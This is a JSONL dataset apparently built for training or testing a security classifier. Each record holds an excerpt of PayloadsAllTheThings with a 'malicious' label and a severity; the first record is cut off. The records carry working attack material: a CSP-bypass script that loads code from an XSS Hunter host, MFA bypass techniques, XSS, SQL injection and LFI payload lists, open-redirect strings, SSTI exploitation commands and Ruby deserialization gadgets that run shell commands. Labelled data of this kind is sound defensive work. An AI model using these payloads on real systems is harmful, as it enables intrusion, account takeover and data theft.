[lab.wallarm.com](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa)\n\n## Bypass CSP inline eval\n\n**Requirements**:\n\n- CSP `inline` or `eval`\n\n**Payload**:\n\n```js\nd=document;f=d.createElement(\"iframe\");f.src=d.querySelector('link[href*=\".css\"]').href;d.body.append(f);s=d.createElement(\"script\");s.src=\"https://[YOUR_XSSHUNTER_USERNAME].xss.ht\";setTimeout(function(){f.contentWindow.document.head.append(s);},1000)\n```\n\nSource: [Rhynorater](https://gist.github.com/Rhynorater/311cf3981fda8303d65c27316e69209f)\n\n## Bypass CSP script-src self\n\n**Requirements**:\n\n- CSP like `script-src self`\n\n**Payload**:\n\n```js\n<object data=\"data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==\"></object>\n```\n\nSource: [@akita_zen](https://twitter.com/akita_zen)\n\n## Bypass CSP script-src data\n\n**Requirements**:\n\n- CSP like `script-src 'self' data:` as warned about in the official [mozilla documentation](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src).\n\n**Payload**:\n\n```javascript\n<script src=\"data:,alert(1)\">/</script>\n```\n\nSource: [@404death](https://twitter.com/404death/status/1191222237782659072)\n\n## Bypass CSP unsafe-inline\n\n**Requirements**:\n\n- CSP: `script-src https://google.com 'unsafe-inline';`\n\n**Payload**:\n\n```j", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "high", "explanation": "Cross-site scripting payload from XSS Injection/4 - CSP Bypass.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00031", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# MFA Bypasses\n\n> Multi-Factor Authentication (MFA) is a security measure that requires users to provide two or more verification factors to gain access to a system, application, or network. It combines something the user knows (like a password), something they have (like a phone or security token), and/or something they are (biometric verification). This layered approach enhances security by making unauthorized access more difficult, even if a password is compromised.\n> MFA Bypasses are techniques attackers use to circumvent MFA protections. These methods can include exploiting weaknesses in MFA implementations, intercepting authentication tokens, leveraging social engineering to manipulate users or support staff, or exploiting session-based vulnerabilities.\n\n## Summary\n\n* [Response Manipulation](#response-manipulation)\n* [Status Code Manipulation](#status-code-manipulation)\n* [2FA Code Leakage in Response](#2fa-code-leakage-in-response)\n* [JS File Analysis](#js-file-analysis)\n* [2FA Code Reusability](#2fa-code-reusability)\n* [Lack of Brute-Force Protection](#lack-of-brute-force-protection)\n* [Missing 2FA Code Integrity Validation](#missing-2fa-code-integrity-validation)\n* [CSRF on 2FA Disabling](#csrf-on-2fa-disabling)\n* [Password Reset Disable 2FA](#password-reset-disable-2fa)\n* [Backup Code Abuse](#backup-code-abuse)\n* [Clickjacking on 2FA Disabling Page](#clickjacking-on-2fa-disabling-page)\n* [Enabling 2FA doesn't expire Previously active Sessions](#enabling-2fa-doesnt-expire-previously-active-sessions)\n* [Bypass 2FA by Force Browsing](#bypass-2fa-by-force-browsing)\n* [Bypass 2FA with null or 000000](#bypass-2fa-with-null-or-000000)\n* [Bypass 2FA with array](#bypass-2fa-with-array)\n\n## 2FA Bypasses\n\n### Response Manipulation\n\nIf response is `\"success\":false`\nChange it to `\"success\":true`\n\n### Status Code Manipulation\n\nIf Status Code is **4xx**\nTry changing it to **200 OK** and see if it bypass restrictions\n\n### 2FA Code Leakage in Response\n\nCheck the response of the 2FA Code Triggering Request for leaked code.\n\n### JS File Analysis\n\nRare but some JS Files may contain info about the 2FA Code, worth giving a shot\n\n### 2FA Code Reusability\n\nSame code can be reused\n\n### Lack of Brute-Force Protection\n\nPossible to brute-force any length 2FA Code\n\n### Missing 2FA Code Integrity Validation\n\nCode for any user account can be used to bypass the 2FA\n\n### CSRF on 2FA Disabling\n\nNo CSRF Protection on disabling 2FA, also there is no auth confirmation\n\n### Password Reset Disable 2FA\n\n2FA gets disabled on password change/email change\n\n### Backup Code Abuse\n\nBypassing 2FA by abusing the Backup code feature\nUse the above-mentioned techniques to bypass the Backup Code to remove/reset 2FA restrictions\n\n### Clickjacking on 2FA Disabling Page\n\nIframing the 2FA Disabling page and social engineering victim to disable the 2FA\n\n### Enabling 2FA doesn't expire Previously active Sessions\n\nIf the session is already hijacked and there is a session timeout vulnerability\n\n### Bypass 2FA by Force Browsing\n\nIf the application redirects to `/my-account` url upon login while 2FA is disabled, try replacing `/2fa/verify` with `/my-account` while 2FA is enabled to bypass verification.\n\n### Bypass 2FA with null or 000000\n\nEnter the code **000000** or **null** to bypass 2FA protection.\n\n### Bypass 2FA with array\n\n```json\n{\n    \"otp\":[\n        \"1234\",\n        \"1111\",\n        \"1337\", // GOOD OTP\n        \"2222\",\n        \"3333\",\n        \"4444\",\n        \"5555\"\n    ]\n}\n```\n", "findings": [{"category": "malicious", "subcategory": "malicious.phishing", "severity": "critical", "explanation": "Account takeover payload from Account Takeover/mfa-bypass.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00032", "source": "payloads_all_the_things", "source_license": "MIT", "text": "<script>alert('XSS')</script>", "findings": [{"category": "malicious", "subcategory": "malicious.shell", "severity": "critical", "explanation": "Malicious file upload payload from Upload Insecure Files/xss.html. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00033", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# Server Side Template Injection\n\n> Template injection allows an attacker to include template code into an existing (or not) template. A template engine makes designing HTML pages easier by using static template files which at runtime replaces variables/placeholders with actual values in the HTML pages.\n\n## Summary\n\n- [Tools](#tools)\n- [Methodology](#methodology)\n    - [Detection and Exploitation Techniques](#detection-and-exploitation-techniques)\n        - [Rendered](#rendered)\n        - [Error-Based](#error-based)\n        - [Boolean-Based](#boolean-based)\n        - [Time-Based](#time-based)\n        - [Out of Bounds](#out-of-bounds)\n        - [Polyglot-Based](#polyglot-based)\n    - [Universal Detection Payloads](#universal-detection-payloads)\n    - [Manual Detection and Exploitation](#manual-detection-and-exploitation)\n        - [Identify the Vulnerable Input Field](#identify-the-vulnerable-input-field)\n        - [Inject Template Syntax](#inject-template-syntax)\n        - [Enumerate the Template Engine](#enumerate-the-template-engine)\n        - [Escalate to Code Execution](#escalate-to-code-execution)\n- [Labs](#labs)\n- [References](#references)\n\n## Tools\n\n- [Hackmanit/TInjA](https://github.com/Hackmanit/TInjA) - An efficient SSTI + CSTI scanner which utilizes novel polyglots\n\n  ```bash\n  tinja url -u \"http://example.com/?name=Kirlia\" -H \"Authentication: Bearer ey...\"\n  tinja url -u \"http://example.com/\" -d \"username=Kirlia\"  -c \"PHPSESSID=ABC123...\"\n  ```\n\n- [epinna/tplmap](https://github.com/epinna/tplmap) - Server-Side Template Injection and Code Injection Detection and Exploitation Tool\n\n  ```powershell\n  python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell\n  python2.7 ./tplmap.py -u \"http://192.168.56.101:3000/ti?user=*&comment=supercomment&link\"\n  python2.7 ./tplmap.py -u \"http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link\" --level 5 -e jade\n  ```\n\n- [vladko312/SSTImap](https://github.com/vladko312/SSTImap) - Automatic SSTI detection tool with interactive interface based on [epinna/tplmap](https://github.com/epinna/tplmap)\n\n  ```bash\n  python3 ./sstimap.py -u 'https://example.com/page?name=John' -s\n  python3 ./sstimap.py -i -u 'https://example.com/page?name=Vulnerable*&message=My_message' -l 5 -e jade\n  python3 ./sstimap.py -i -A -m POST -l 5 -H 'Authorization: Basic bG9naW46c2VjcmV0X3Bhc3N3b3Jk'\n  ```\n\n## Methodology\n\n### Detection and Exploitation Techniques\n\nOriginal research:\n\n- Rendered, Time-Based: [Server-Side Template Injection: RCE For The Modern Web App - James Kettle - August 05, 2015](https://portswigger.net/knowledgebase/papers/serversidetemplateinjection.pdf)\n- Polyglot-Based: [Improving the Detection and Identification of Template Engines for Large-Scale Template Injection Scanning - Maximilian Hildebrand - September 19, 2023](https://www.hackmanit.de/images/download/thesis/Improving-the-Detection-and-Identification-of-Template-Engines-for-Large-Scale-Template-Injection-Scanning-Maximilian-Hildebrand-Master-Thesis-Hackmanit.pdf)\n- Error-Based, Boolean-Based: [Successful Errors: New Code Injection and SSTI Techniques - Vladislav Korchagin - January 03, 2026](https://github.com/vladko312/Research_Successful_Errors/blob/main/README.md)\n\n#### Rendered\n\n![Rendered technique workflow](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Images/technique_Rendered.png?raw=true)\n\n> Applicability: detection, exploitation\n\nWhen the rendered template is displayed to the attacker, Rendered technique can be used to include the results of the injected code on the page.\n\n#### Error-Based\n\n![Error-Based technique workflow](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Images/technique_Error-Based.png?raw=true)\n\n> Applicability: detection, exploitation\n\nWhen the errors are verbosely displayed to the attacker, Error-Based technique can be used to trigger the error message containing the res", "findings": [{"category": "malicious", "subcategory": "malicious.ssti", "severity": "high", "explanation": "Server-side template injection payload from Server Side Template Injection/README.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00034", "source": "payloads_all_the_things", "source_license": "MIT", "text": "/%09/example.com\n/%2f%2fexample.com\n/%2f%5c%2f%67%6f%6f%67%6c%65%2e%63%6f%6d/\n/%5cexample.com\n/%68%74%74%70%3a%2f%2f%67%6f%6f%67%6c%65%2e%63%6f%6d\n/.example.com\n//%09/example.com\n//%5cexample.com\n///%09/example.com\n///%5cexample.com\n////%09/example.com\n////%5cexample.com\n/////example.com\n/////example.com/\n////\\;@example.com\n////example.com/\n////example.com/%2e%2e\n////example.com/%2e%2e%2f\n////example.com/%2f%2e%2e\n////example.com/%2f..\n////example.com//\n///\\;@example.com\n///example.com\n///example.com/\n///example.com/%2e%2e\n///example.com/%2e%2e%2f\n///example.com/%2f%2e%2e\n///example.com/%2f..\n///example.com//\n//example.com\n//example.com/\n//example.com/%2e%2e\n//example.com/%2e%2e%2f\n//example.com/%2f%2e%2e\n//example.com/%2f..\n//example.com//\n//google%00.com\n//google%E3%80%82com\n//https:///example.com/%2e%2e\n//https://example.com/%2e%2e%2f\n//https://example.com//\n/<>//example.com\n/?url=//example.com&next=//example.com&redirect=//example.com&redir=//example.com&rurl=//example.com&redirect_uri=//example.com\n/?url=/\\/example.com&next=/\\/example.com&redirect=/\\/example.com&redirect_uri=/\\/example.com\n/?url=Https://example.com&next=Https://example.com&redirect=Https://example.com&redir=Https://example.com&rurl=Https://example.com&redirect_uri=Https://example.com\n/\\/\\/example.com/\n/\\/example.com/\n/example.com/%2f%2e%2e\n/http://%67%6f%6f%67%6c%65%2e%63%6f%6d\n/http://example.com\n/http:/example.com\n/https:/%5cexample.com/\n/https://%09/example.com\n/https://%5cexample.com\n/https:///example.com/%2e%2e\n/https:///example.com/%2f%2e%2e\n/https://example.com\n/https://example.com/\n/https://example.com/%2e%2e\n/https://example.com/%2e%2e%2f\n/https://example.com/%2f%2e%2e\n/https://example.com/%2f..\n/https://example.com//\n/https:example.com\n/redirect?url=//example.com&next=//example.com&redirect=//example.com&redir=//example.com&rurl=//example.com&redirect_uri=//example.com\n/redirect?url=/\\/example.com&next=/\\/example.com&redirect=/\\/example.com&redir=/\\/example.com&rurl=/\\/example.com&redirect_uri=/\\/example.com\n/redirect?url=Https://example.com&next=Https://example.com&redirect=Https://example.com&redir=Https://example.com&rurl=Https://example.com&redirect_uri=Https://example.com\n", "findings": [{"category": "malicious", "subcategory": "malicious.phishing", "severity": "medium", "explanation": "Open redirect payload from Open Redirect/openredirects.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00035", "source": "payloads_all_the_things", "source_license": "MIT", "text": "etc/passwd\netc/passwd%00\netc%2fpasswd\netc%2fpasswd%00\netc%5cpasswd\netc%5cpasswd%00\netc%c0%afpasswd\netc%c0%afpasswd%00\nC:\\boot.ini\nC:\\WINDOWS\\win.ini", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "File inclusion payload from File Inclusion/simple-check.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00036", "source": "payloads_all_the_things", "source_license": "MIT", "text": " OR 1=1\n OR 1=0\n OR x=x\n OR x=y\n OR 1=1#\n OR 1=0#\n OR x=x#\n OR x=y#\n OR 1=1-- \n OR 1=0-- \n OR x=x-- \n OR x=y-- \n OR 3409=3409 AND ('pytW' LIKE 'pytW\n OR 3409=3409 AND ('pytW' LIKE 'pytY\n HAVING 1=1\n HAVING 1=0\n HAVING 1=1#\n HAVING 1=0#\n HAVING 1=1-- \n HAVING 1=0-- \n AND 1=1\n AND 1=0\n AND 1=1-- \n AND 1=0-- \n AND 1=1#\n AND 1=0#\n AND 1=1 AND '%'='\n AND 1=0 AND '%'='\n AND 1083=1083 AND (1427=1427\n AND 7506=9091 AND (5913=5913\n AND 1083=1083 AND ('1427=1427\n AND 7506=9091 AND ('5913=5913\n AND 7300=7300 AND 'pKlZ'='pKlZ\n AND 7300=7300 AND 'pKlZ'='pKlY\n AND 7300=7300 AND ('pKlZ'='pKlZ\n AND 7300=7300 AND ('pKlZ'='pKlY\n AS INJECTX WHERE 1=1 AND 1=1\n AS INJECTX WHERE 1=1 AND 1=0\n AS INJECTX WHERE 1=1 AND 1=1#\n AS INJECTX WHERE 1=1 AND 1=0#\n AS INJECTX WHERE 1=1 AND 1=1--\n AS INJECTX WHERE 1=1 AND 1=0--\n WHERE 1=1 AND 1=1\n WHERE 1=1 AND 1=0\n WHERE 1=1 AND 1=1#\n WHERE 1=1 AND 1=0#\n WHERE 1=1 AND 1=1--\n WHERE 1=1 AND 1=0--\n ORDER BY 1-- \n ORDER BY 2-- \n ORDER BY 3-- \n ORDER BY 4-- \n ORDER BY 5-- \n ORDER BY 6-- \n ORDER BY 7-- \n ORDER BY 8-- \n ORDER BY 9-- \n ORDER BY 10-- \n ORDER BY 11-- \n ORDER BY 12-- \n ORDER BY 13-- \n ORDER BY 14-- \n ORDER BY 15-- \n ORDER BY 16-- \n ORDER BY 17-- \n ORDER BY 18-- \n ORDER BY 19-- \n ORDER BY 20-- \n ORDER BY 21-- \n ORDER BY 22-- \n ORDER BY 23-- \n ORDER BY 24-- \n ORDER BY 25-- \n ORDER BY 26-- \n ORDER BY 27-- \n ORDER BY 28-- \n ORDER BY 29-- \n ORDER BY 30-- \n ORDER BY 31337-- \n ORDER BY 1# \n ORDER BY 2# \n ORDER BY 3# \n ORDER BY 4# \n ORDER BY 5# \n ORDER BY 6# \n ORDER BY 7# \n ORDER BY 8# \n ORDER BY 9# \n ORDER BY 10# \n ORDER BY 11# \n ORDER BY 12# \n ORDER BY 13# \n ORDER BY 14# \n ORDER BY 15# \n ORDER BY 16# \n ORDER BY 17# \n ORDER BY 18# \n ORDER BY 19# \n ORDER BY 20# \n ORDER BY 21# \n ORDER BY 22# \n ORDER BY 23# \n ORDER BY 24# \n ORDER BY 25# \n ORDER BY 26# \n ORDER BY 27# \n ORDER BY 28# \n ORDER BY 29# \n ORDER BY 30#\n ORDER BY 31337#\n ORDER BY 1 \n ORDER BY 2 \n ORDER BY 3 \n ORDER BY 4 \n ORDER BY 5 \n ORDER BY 6 \n ORDER BY 7 \n ORDER BY 8 \n ORDER BY 9 \n ORDER BY 10 \n ORDER BY 11 \n ORDER BY 12 \n ORDER BY 13 \n ORDER BY 14 \n ORDER BY 15 \n ORDER BY 16 \n ORDER BY 17 \n ORDER BY 18 \n ORDER BY 19 \n ORDER BY 20 \n ORDER BY 21 \n ORDER BY 22 \n ORDER BY 23 \n ORDER BY 24 \n ORDER BY 25 \n ORDER BY 26 \n ORDER BY 27 \n ORDER BY 28 \n ORDER BY 29 \n ORDER BY 30 \n ORDER BY 31337 \n RLIKE (SELECT (CASE WHEN (4346=4346) THEN 0x61646d696e ELSE 0x28 END)) AND 'Txws'='\n RLIKE (SELECT (CASE WHEN (4346=4347) THEN 0x61646d696e ELSE 0x28 END)) AND 'Txws'='\nIF(7423=7424) SELECT 7423 ELSE DROP FUNCTION xcjl--\nIF(7423=7423) SELECT 7423 ELSE DROP FUNCTION xcjl--\n%' AND 8310=8310 AND '%'='\n%' AND 8310=8311 AND '%'='\n and (select substring(@@version,1,1))='X'\n and (select substring(@@version,1,1))='M'\n and (select substring(@@version,2,1))='i'\n and (select substring(@@version,2,1))='y'\n and (select substring(@@version,3,1))='c'\n and (select substring(@@version,3,1))='S'\n and (select substring(@@version,3,1))='X'\n", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "SQL injection payload from SQL Injection/Generic_ErrorBased.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00037", "source": "payloads_all_the_things", "source_license": "MIT", "text": "/proc/self/cmdline\n/proc/self/stat\n/proc/self/status\n/proc/self/fd/0\n/proc/self/fd/1\n/proc/self/fd/2\n/proc/self/fd/3\n/proc/self/fd/4\n/proc/self/fd/5\n/proc/self/fd/6\n/proc/self/fd/7\n/proc/self/fd/8\n/proc/self/fd/9\n/proc/self/fd/10\n/proc/self/fd/11\n/proc/self/fd/12\n/proc/self/fd/13\n/proc/self/fd/14\n/proc/self/fd/15\n/proc/self/fd/16\n/proc/self/fd/17\n/proc/self/fd/18\n/proc/self/fd/19\n/proc/self/fd/20\n/proc/self/fd/21\n/proc/self/fd/22\n/proc/self/fd/23\n/proc/self/fd/24\n/proc/self/fd/25\n/proc/self/fd/26\n/proc/self/fd/27\n/proc/self/fd/28\n/proc/self/fd/29\n/proc/self/fd/30\n/proc/self/fd/31\n/proc/self/fd/32\n/proc/self/fd/33\n/proc/self/fd/34\n/proc/self/fd/35", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "File inclusion payload from File Inclusion/LFI-FD-check.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00038", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# Mass Assignment\n\n> A mass assignment attack is a security vulnerability that occurs when a web application automatically assigns user-supplied input values to properties or variables of a program object. This can become an issue if a user is able to modify attributes they should not have access to, like a user's permissions or an admin flag.\n\n## Summary\n\n* [Methodology](#methodology)\n* [Labs](#labs)\n* [References](#references)\n\n## Methodology\n\nMass assignment vulnerabilities are most common in web applications that use Object-Relational Mapping (ORM) techniques or functions to map user input to object properties, where properties can be updated all at once instead of individually. Many popular web development frameworks such as Ruby on Rails, Django, and Laravel (PHP) offer this functionality.\n\nFor instance, consider a web application that uses an ORM and has a user object with the attributes `username`, `email`, `password`, and `isAdmin`. In a normal scenario, a user might be able to update their own username, email, and password through a form, which the server then assigns to the user object.\n\nHowever, an attacker may attempt to add an `isAdmin` parameter to the incoming data like so:\n\n```json\n{\n    \"username\": \"attacker\",\n    \"email\": \"attacker@email.com\",\n    \"password\": \"unsafe_password\",\n    \"isAdmin\": true\n}\n```\n\nIf the web application is not checking which parameters are allowed to be updated in this way, it might set the `isAdmin` attribute based on the user-supplied input, giving the attacker admin privileges\n\n## Labs\n\n* [PentesterAcademy - Mass Assignment I](https://attackdefense.pentesteracademy.com/challengedetailsnoauth?cid=1964)\n* [PentesterAcademy - Mass Assignment II](https://attackdefense.pentesteracademy.com/challengedetailsnoauth?cid=1922)\n* [Root Me - API - Mass Assignment](https://www.root-me.org/en/Challenges/Web-Server/API-Mass-Assignment)\n\n## References\n\n* [Hunting for Mass Assignment - Shivam Bathla - August 12, 2021](https://blog.pentesteracademy.com/hunting-for-mass-assignment-56ed73095eda)\n* [Mass Assignment Cheat Sheet - OWASP - March 15, 2021](https://web.archive.org/web/20260216020815/https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html)\n* [What is Mass Assignment? Attacks and Security Tips - Yoan MONTOYA - June 15, 2023](https://www.vaadata.com/blog/what-is-mass-assignment-attacks-and-security-tips/)\n", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "high", "explanation": "Mass assignment payload from Mass Assignment/README.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00039", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# Insecure Direct Object References\n\n> Insecure Direct Object References (IDOR) is a security vulnerability that occurs when an application allows users to directly access or modify objects (such as files, database records, or URLs) based on user-supplied input, without sufficient access controls. This means that if a user changes a parameter value (like an ID) in a URL or API request, they might be able to access or manipulate data that they aren\u2019t authorized to see or modify.\n\n## Summary\n\n* [Tools](#tools)\n* [Methodology](#methodology)\n    * [Numeric Value Parameter](#numeric-value-parameter)\n    * [Common Identifiers Parameter](#common-identifiers-parameter)\n    * [Weak Pseudo Random Number Generator](#weak-pseudo-random-number-generator)\n    * [Hashed Parameter](#hashed-parameter)\n    * [Wildcard Parameter](#wildcard-parameter)\n    * [IDOR Tips](#idor-tips)\n* [Labs](#labs)\n* [References](#references)\n\n## Tools\n\n* [PortSwigger/BApp Store > Authz](https://portswigger.net/bappstore/4316cc18ac5f434884b2089831c7d19e)\n* [PortSwigger/BApp Store > AuthMatrix](https://portswigger.net/bappstore/30d8ee9f40c041b0bfec67441aad158e)\n* [PortSwigger/BApp Store > Autorize](https://portswigger.net/bappstore/f9bbac8c4acf4aefa4d7dc92a991af2f)\n\n## Methodology\n\nIDOR stands for Insecure Direct Object Reference. It's a type of security vulnerability that arises when an application provides direct access to objects based on user-supplied input. As a result, attackers can bypass authorization and access resources in the system directly, potentially leading to unauthorized information disclosure, modification, or deletion.\n\n**Example of IDOR**:\n\nImagine a web application that allows users to view their profile by clicking a link `https://example.com/profile?user_id=123`:\n\n```php\n<?php\n    $user_id = $_GET['user_id'];\n    $user_info = get_user_info($user_id);\n    ...\n```\n\nHere, `user_id=123` is a direct reference to a specific user's profile. If the application doesn't properly check that the logged-in user has the right to view the profile associated with `user_id=123`, an attacker could simply change the `user_id` parameter to view other users' profiles:\n\n```ps1\nhttps://example.com/profile?user_id=124\n```\n\n![https://lh5.googleusercontent.com/VmLyyGH7dGxUOl60h97Lr57F7dcnDD8DmUMCZTD28BKivVI51BLPIqL0RmcxMPsmgXgvAqY8WcQ-Jyv5FhRiCBueX9Wj0HSCBhE-_SvrDdA6_wvDmtMSizlRsHNvTJHuy36LG47lstLpTqLK](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/Insecure%20Direct%20Object%20References/Images/idor.png)\n\n### Numeric Value Parameter\n\nIncrement and decrement these values to access sensitive information.\n\n* Decimal value: `287789`, `287790`, `287791`, ...\n* Hexadecimal: `0x4642d`, `0x4642e`, `0x4642f`, ...\n* Unix epoch timestamp: `1695574808`, `1695575098`, ...\n\n**Examples**:\n\n* [HackerOne - IDOR to view User Order Information - meals](https://hackerone.com/reports/287789)\n* [HackerOne - Delete messages via IDOR - naaash](https://hackerone.com/reports/697412)\n\n### Common Identifiers Parameter\n\nSome identifiers can be guessed like names and emails, they might grant you access to customer data.\n\n* Name: `john`, `doe`, `john.doe`, ...\n* Email: `john.doe@mail.com`\n* Base64 encoded value: `am9obi5kb2VAbWFpbC5jb20=`\n\n**Examples**:\n\n* [HackerOne - Insecure Direct Object Reference (IDOR) - Delete Campaigns - datph4m](https://hackerone.com/reports/1969141)\n\n### Weak Pseudo Random Number Generator\n\n* UUID/GUID v1 can be predicted if you know the time they were created: `95f6e264-bb00-11ec-8833-00155d01ef00`\n* MongoDB Object Ids are generated in a predictable manner: `5ae9b90a2c144b9def01ec37`\n    * a 4-byte value representing the seconds since the Unix epoch\n    * a 3-byte machine identifier\n    * a 2-byte process id\n    * a 3-byte counter, starting with a random value\n\n**Examples**:\n\n* [HackerOne - IDOR allowing to read another user's token on the Social Media Ads service - a_d_a_m](https://hackerone.com/reports/1464168)\n* [IDOR through MongoDB Object", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "high", "explanation": "IDOR payload from Insecure Direct Object References/README.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00040", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# Ruby Deserialization\n\n> Ruby deserialization is the process of converting serialized data back into Ruby objects, often using formats like YAML, Marshal, or JSON. Ruby's Marshal module, for instance, is commonly used for this, as it can serialize and deserialize complex Ruby objects.\n\n## Summary\n\n* [Marshal Deserialization](#marshal-deserialization)\n* [YAML Deserialization](#yaml-deserialization)\n* [References](#references)\n\n## Marshal Deserialization\n\nScript to generate and verify the deserialization gadget chain against Ruby 2.0 through to 2.5\n\n```ruby\nfor i in {0..5}; do docker run -it ruby:2.${i} ruby -e 'Marshal.load([\"0408553a1547656d3a3a526571756972656d656e745b066f3a1847656d3a3a446570656e64656e63794c697374073a0b4073706563735b076f3a1e47656d3a3a536f757263653a3a537065636966696346696c65063a0a40737065636f3a1b47656d3a3a5374756253706563696669636174696f6e083a11406c6f616465645f66726f6d49220d7c696420313e2632063a0645543a0a4064617461303b09306f3b08003a1140646576656c6f706d656e7446\"].pack(\"H*\")) rescue nil'; done\n```\n\n## YAML Deserialization\n\nVulnerable code\n\n```ruby\nrequire \"yaml\"\nYAML.load(File.read(\"p.yml\"))\n```\n\nUniversal gadget for ruby <= 2.7.2:\n\n```yaml\n--- !ruby/object:Gem::Requirement\nrequirements:\n  !ruby/object:Gem::DependencyList\n  specs:\n  - !ruby/object:Gem::Source::SpecificFile\n    spec: &1 !ruby/object:Gem::StubSpecification\n      loaded_from: \"|id 1>&2\"\n  - !ruby/object:Gem::Source::SpecificFile\n      spec:\n```\n\nUniversal gadget for ruby 2.x - 3.x.\n\n```yaml\n---\n- !ruby/object:Gem::Installer\n    i: x\n- !ruby/object:Gem::SpecFetcher\n    i: y\n- !ruby/object:Gem::Requirement\n  requirements:\n    !ruby/object:Gem::Package::TarReader\n    io: &1 !ruby/object:Net::BufferedIO\n      io: &1 !ruby/object:Gem::Package::TarReader::Entry\n         read: 0\n         header: \"abc\"\n      debug_output: &1 !ruby/object:Net::WriteAdapter\n         socket: &1 !ruby/object:Gem::RequestSet\n             sets: !ruby/object:Net::WriteAdapter\n                 socket: !ruby/module 'Kernel'\n                 method_id: :system\n             git_set: id\n         method_id: :resolve\n```\n\n```yaml\n ---\n - !ruby/object:Gem::Installer\n     i: x\n - !ruby/object:Gem::SpecFetcher\n     i: y\n - !ruby/object:Gem::Requirement\n   requirements:\n     !ruby/object:Gem::Package::TarReader\n     io: &1 !ruby/object:Net::BufferedIO\n       io: &1 !ruby/object:Gem::Package::TarReader::Entry\n          read: 0\n          header: \"abc\"\n       debug_output: &1 !ruby/object:Net::WriteAdapter\n          socket: &1 !ruby/object:Gem::RequestSet\n              sets: !ruby/object:Net::WriteAdapter\n                  socket: !ruby/module 'Kernel'\n                  method_id: :system\n              git_set: sleep 600\n          method_id: :resolve \n```\n\n## References\n\n* [Ruby 2.X Universal RCE Deserialization Gadget Chain - Luke Jahnke - November 8, 2018](https://web.archive.org/web/20191128020715/https://www.elttam.com.au/blog/ruby-deserialization/)\n* [Universal RCE with Ruby YAML.load - Etienne Stalmans (@_staaldraad) - March 2, 2019](https://web.archive.org/web/20190302114631/https://staaldraad.github.io/post/2019-03-02-universal-rce-ruby-yaml-load/)\n* [Ruby 2.x Universal RCE Deserialization Gadget Chain - PentesterLab - 2024](https://web.archive.org/web/20190817140453/https://pentesterlab.com/exercises/ruby_ugadget/course)\n* [Universal RCE with Ruby YAML.load (versions > 2.7) - Etienne Stalmans (@_staaldraad) - January 9, 2021](https://web.archive.org/web/20260201150417/https://staaldraad.github.io/post/2021-01-09-universal-rce-ruby-yaml-load-updated/)\n* [Blind Remote Code Execution through YAML Deserialization - Colin McQueen - June 9, 2021](https://web.archive.org/web/20210610111705/https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/)\n", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "Insecure deserialization payload from Insecure Deserialization/Ruby.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00041", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# Regular Expression\n\n> Regular Expression Denial of Service (ReDoS) is a type of attack that exploits the fact that certain regular expressions can take an extremely long time to process, causing applications or services to become unresponsive or crash.\n\n## Summary\n\n* [Tools](#tools)\n* [Methodology](#methodology)\n    * [Evil Regex](#evil-regex)\n    * [Backtrack Limit](#backtrack-limit)\n* [References](#references)\n\n## Tools\n\n* [tjenkinson/redos-detector](https://github.com/tjenkinson/redos-detector) - A CLI and library which tests with certainty if a regex pattern is safe from ReDoS attacks. Supported in the browser, Node and Deno.\n* [doyensec/regexploit](https://github.com/doyensec/regexploit) - Find regular expressions which are vulnerable to ReDoS (Regular Expression Denial of Service)\n* [devina.io/redos-checker](https://devina.io/redos-checker) - Examine regular expressions for potential Denial of Service vulnerabilities\n\n## Methodology\n\n### Evil Regex\n\nEvil Regex contains:\n\n* Grouping with repetition\n* Inside the repeated group:\n    * Repetition\n    * Alternation with overlapping\n\n**Examples**:\n\n* `(a+)+`\n* `([a-zA-Z]+)*`\n* `(a|aa)+`\n* `(a|a?)+`\n* `(.*a){x}` for x \\> 10\n\nThese regular expressions can be exploited with `aaaaaaaaaaaaaaaaaaaaaaaa!` (20 'a's followed by a '!').\n\n```ps1\naaaaaaaaaaaaaaaaaaaa! \n```\n\nFor this input, the regex engine will try all possible ways to group the `a` characters before realizing that the match ultimately fails because of the `!`. This results in an explosion of backtracking attempts.\n\n### Backtrack 